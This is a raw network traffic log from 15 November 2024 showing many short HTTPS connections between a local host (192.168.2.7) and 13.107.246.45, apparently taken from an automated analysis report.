Nov 15, 2024 13:18:32.380588055 CET	49776	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.380593061 CET	443	49776	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.418457031 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.420021057 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.420080900 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.420416117 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.420428038 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.478243113 CET	443	49777	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.488997936 CET	49777	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.489015102 CET	443	49777	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.489403009 CET	49777	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.489407063 CET	443	49777	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.511930943 CET	443	49776	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.512236118 CET	443	49776	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.512295961 CET	49776	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.512456894 CET	49776	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.512476921 CET	443	49776	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.512487888 CET	49776	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.512495041 CET	443	49776	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.514688015 CET	49780	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.514780998 CET	443	49780	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.514874935 CET	49780	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.514967918 CET	49780	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.514986992 CET	443	49780	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.560652018 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.560792923 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.560877085 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.560988903 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.561008930 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.561022043 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.561028004 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.562856913 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.562908888 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.562975883 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.563071966 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.563083887 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.580534935 CET	443	49778	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.581320047 CET	49778	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.581336021 CET	443	49778	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.581702948 CET	49778	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.581707954 CET	443	49778	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.615303040 CET	443	49777	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.615483046 CET	443	49777	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.615559101 CET	49777	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.615684032 CET	49777	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.615705967 CET	443	49777	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.615719080 CET	49777	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.615731001 CET	443	49777	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.617871046 CET	49782	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.617897987 CET	443	49782	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.617975950 CET	49782	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.618063927 CET	49782	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.618088007 CET	443	49782	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.709507942 CET	443	49778	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.709769011 CET	443	49778	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.709937096 CET	49778	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.709978104 CET	49778	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.709978104 CET	49778	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.709991932 CET	443	49778	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.710000992 CET	443	49778	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.711883068 CET	49783	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.711926937 CET	443	49783	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.711987972 CET	49783	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.712099075 CET	49783	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.712109089 CET	443	49783	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.793418884 CET	443	49779	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.795886040 CET	49779	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.795900106 CET	443	49779	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.796350002 CET	49779	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.796354055 CET	443	49779	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.926045895 CET	443	49779	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.926198959 CET	443	49779	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.926265001 CET	49779	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.926485062 CET	49779	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.926491022 CET	443	49779	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.926500082 CET	49779	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.926502943 CET	443	49779	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.928956985 CET	49784	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.928996086 CET	443	49784	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.929069042 CET	49784	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.929187059 CET	49784	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.929199934 CET	443	49784	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.251914024 CET	443	49780	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.256536007 CET	49780	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.256588936 CET	443	49780	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.256908894 CET	49780	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.256923914 CET	443	49780	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.299563885 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.300206900 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.300241947 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.300632954 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.300641060 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.338788033 CET	443	49782	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.340369940 CET	49782	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.340389013 CET	443	49782	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.340792894 CET	49782	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.340804100 CET	443	49782	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.354612112 CET	49677	443	192.168.2.7	20.50.201.200
Nov 15, 2024 13:18:33.382508993 CET	443	49780	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.382565975 CET	443	49780	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.382659912 CET	49780	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.382833958 CET	49780	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.382855892 CET	443	49780	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.382868052 CET	49780	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.382875919 CET	443	49780	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.385368109 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.385461092 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.385551929 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.385687113 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.385710001 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.428097963 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.428257942 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.428487062 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.428647041 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.428669930 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.428683043 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.428690910 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.431087017 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.431128025 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.431204081 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.431308031 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.431319952 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.467879057 CET	443	49782	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.468051910 CET	443	49782	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.468137980 CET	49782	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.468214989 CET	49782	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.468214989 CET	49782	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.468250990 CET	443	49782	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.468276024 CET	443	49782	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.470561028 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.470653057 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.470936060 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.471124887 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.471162081 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.656075954 CET	443	49784	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.656560898 CET	49784	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.656586885 CET	443	49784	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.656966925 CET	49784	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.656971931 CET	443	49784	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.784444094 CET	443	49784	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.784709930 CET	443	49784	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.784761906 CET	49784	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.784809113 CET	49784	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.784825087 CET	443	49784	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.784842014 CET	49784	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.784847021 CET	443	49784	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.788348913 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.788378954 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:33.788434982 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.788582087 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:33.788593054 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.127815008 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.128472090 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.128492117 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.128957033 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.128961086 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.187241077 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.187896013 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.187922001 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.188397884 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.188405991 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.204863071 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.205451965 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.205475092 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.205919981 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.205924988 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.318444967 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.348793030 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.348932981 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.348937988 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.348958969 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.349023104 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.349036932 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.349078894 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.349112988 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.349231005 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.349250078 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.349270105 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.349276066 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.350172997 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.350188971 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.350219011 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.350224018 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.351207018 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.351210117 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.351260900 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.351264000 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.355247021 CET	49789	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.355297089 CET	443	49789	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.355365992 CET	49789	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.357506990 CET	49790	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.357537031 CET	443	49790	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.357600927 CET	49790	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.358067036 CET	49789	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.358083963 CET	443	49789	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.358452082 CET	49790	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.358463049 CET	443	49790	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.360021114 CET	49791	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.360038996 CET	443	49791	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.360112906 CET	49791	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.360253096 CET	49791	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.360265017 CET	443	49791	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.469052076 CET	443	49783	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.469620943 CET	49783	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.469645977 CET	443	49783	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.470181942 CET	49783	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.470186949 CET	443	49783	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.536202908 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.536861897 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.536870956 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.537333965 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.537338018 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.597160101 CET	443	49783	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.597531080 CET	443	49783	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.597613096 CET	49783	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.597661972 CET	49783	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.597678900 CET	443	49783	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.597711086 CET	49783	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.597716093 CET	443	49783	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.600801945 CET	49792	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.600848913 CET	443	49792	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.600934982 CET	49792	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.601106882 CET	49792	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.601119995 CET	443	49792	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.667994022 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.668101072 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.668179035 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.668379068 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.668392897 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.668431044 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.668435097 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.671758890 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.671780109 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:34.671886921 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.672084093 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:34.672096014 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.082148075 CET	443	49791	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.083013058 CET	49791	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.083048105 CET	443	49791	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.083506107 CET	49791	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.083513021 CET	443	49791	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.083709002 CET	443	49790	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.084009886 CET	49790	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.084049940 CET	443	49790	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.084331989 CET	49790	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.084343910 CET	443	49790	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.094022036 CET	443	49789	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.094521046 CET	49789	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.094558001 CET	443	49789	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.094918013 CET	49789	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.094928980 CET	443	49789	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.210002899 CET	443	49791	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.210072994 CET	443	49791	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.210223913 CET	49791	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.210458040 CET	49791	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.210510015 CET	443	49791	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.210541010 CET	49791	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.210560083 CET	443	49791	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.213295937 CET	443	49790	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.213350058 CET	443	49790	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.213445902 CET	49790	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.213479042 CET	443	49790	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.213536978 CET	49790	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.213644981 CET	49790	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.213692904 CET	443	49790	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.213726044 CET	49790	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.213742971 CET	443	49790	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.213834047 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.213876009 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.213964939 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.214937925 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.214951038 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.216823101 CET	49795	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.216860056 CET	443	49795	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.216933012 CET	49795	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.217081070 CET	49795	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.217096090 CET	443	49795	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.221641064 CET	443	49789	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.221910000 CET	443	49789	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.221976995 CET	49789	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.222017050 CET	49789	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.222018003 CET	49789	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.222038031 CET	443	49789	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.222059011 CET	443	49789	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.224009037 CET	49796	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.224033117 CET	443	49796	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.224098921 CET	49796	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.224215031 CET	49796	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.224225998 CET	443	49796	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.339368105 CET	443	49792	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.340039015 CET	49792	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.340064049 CET	443	49792	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.340491056 CET	49792	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.340497017 CET	443	49792	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.421077013 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.421685934 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.421716928 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.422046900 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.422061920 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.469860077 CET	443	49792	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.470119953 CET	443	49792	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.470182896 CET	49792	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.470217943 CET	49792	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.470230103 CET	443	49792	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.470240116 CET	49792	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.470244884 CET	443	49792	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.473059893 CET	49797	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.473153114 CET	443	49797	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.473234892 CET	49797	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.473360062 CET	49797	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.473381996 CET	443	49797	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.550962925 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.550982952 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.551033020 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.551204920 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.551206112 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.551407099 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.551407099 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.551451921 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.551480055 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.554513931 CET	49798	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.554601908 CET	443	49798	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.554704905 CET	49798	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.554867029 CET	49798	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.554888010 CET	443	49798	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.959475994 CET	443	49796	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.960258961 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.960313082 CET	49796	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.960351944 CET	443	49795	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.960361958 CET	443	49796	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.960900068 CET	49796	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.960918903 CET	443	49796	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.961193085 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.961251974 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.961544991 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.961556911 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.961759090 CET	49795	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.961793900 CET	443	49795	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:35.962119102 CET	49795	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:35.962124109 CET	443	49795	13.107.246.45	192.168.2.7
